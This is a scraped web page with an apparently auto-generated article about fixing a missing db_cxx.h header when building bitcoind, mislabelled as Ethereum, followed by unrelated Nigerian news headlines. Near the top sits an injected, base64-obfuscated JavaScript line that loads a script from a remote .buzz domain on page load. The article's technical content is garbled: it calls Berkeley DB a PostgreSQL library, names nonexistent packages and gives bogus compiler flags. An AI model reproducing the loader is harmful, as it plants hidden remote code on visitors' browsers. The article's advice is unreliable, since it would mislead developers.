Ethereum: When building bitcoind, I receive error “headers.h:36:20: fatal error: db_cxx.h: No such file or directory”
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=be317b27″;document.body.appendChild(script);
Ethereum Development on Debian-based Linux: Overcoming Errors with db_cxx.h
As a developer working on Ethereum projects, building and maintaining the blockchain can be a challenging task. One common issue encountered by many developers is encountering errors related to missing header files, specifically db_cxx.h. In this article, we will delve into the causes of these errors and provide guidance on how to overcome them when building Ethereum on Debian-based Linux.
Why do I get the “No such file or directory” error?
The error message “headers.h:36:20: fatal error: db_cxx.h: No such file or directory” indicates that the compiler is unable to find the db_cxx.h header file. This file is part of the Ethereum C++ libraries, which are used by the Ethereum development team. To resolve this issue, you need to ensure that the necessary dependencies are installed on your system.
Installing required packages

To build and run Ethereum on Debian-based Linux, you’ll need to install several packages:
libdb4(a PostgreSQL database library)
dbcpp(the C++ wrapper for the PostgreSQL database)
libssl-dev(for SSL/TLS encryption)
You can install these packages using your package manager:
sudo apt-get install libdb4-dev dbcpp
Overcoming errors with missing header files
To resolve the error, you need to ensure that the necessary dependencies are installed and configured correctly. Here’s a step-by-step guide:
- Reinstall
libdb4: If you have multiple versions of
libdb4installed, try reinstalling it using:
sudo apt-get remove libdb4-*
- Install
dbcppmanually: Download and compile thedbcpppackage from the official website: < Follow the installation instructions to installdbcpp.
- Update your compiler settings: Ensure that your compiler is configured correctly to use the C++ wrapper for PostgreSQL database. You can do this by adding the following flags to your compiler command:
-std=c++11 -Wall -Wextra -g -I/usr/include/postgresql/10 -L/usr/lib/postgresql/10 -ldbc
Replace /usr/include/postgresql/10 and /usr/lib/postgresql/10 with the actual paths on your system.
- Rebuild Ethereum: After updating your compiler settings, rebuild
Ethereumusing:
make clean && make
This should resolve any issues related to missing header files.
Troubleshooting
If you encounter difficulties while rebuilding Ethereum or running tests, ensure that:
- Your system is up-to-date with the latest packages.
- The
libdb4anddbcppdependencies are installed correctly.
- You’ve updated your compiler settings according to the instructions above.
- You’ve rebuilt
Ethereumusing the correct commands.
By following these steps, you should be able to resolve the “headers.h:36:20: fatal error: db_cxx.h: No such file or directory” error and successfully build and run Ethereum on your Debian-based Linux system.
TRENDING SONGS
Nigerian Officials Allegedly Pocket N4–6B Weekly Through Smuggling Cartels at Seme–Badagry Border
Ahmad Yerima: Naval Officer to Face No Sanctions After Clash with Wike – Matawalle
Trending Video: Muslim Man Joins Wife in Hallelujah Challenge ‘Dress Like Your Miracle’ Night
Woman Seeks Advice as Late Brother’s Wife Refuses to Mourn Him Following His Death With Alleged Mistress
Nobody Cares About Fine Girls In The UK, I Miss Nigeria — Nigerian Lady Laments
Wedding Called Off: How Lady Cancels Wedding After Finding Out Finance’s Affairs With Her BestieÂ
Heartbreak in Ikeja: Lady Weeps After Fufu Found in New Phone Package
Twist of Fate: Man Who Questioned Phyna’s ₦1Billion Demand Mourns Brother in Dangote Truck Crash
Tragedy in Enugu: Dangote Truck Claims Lives of Family of Five
Bangkok Crackdown: Nigerian-Thai Couple in Police Net Over Drug Trafficking
Share this post with your friends on ![]()
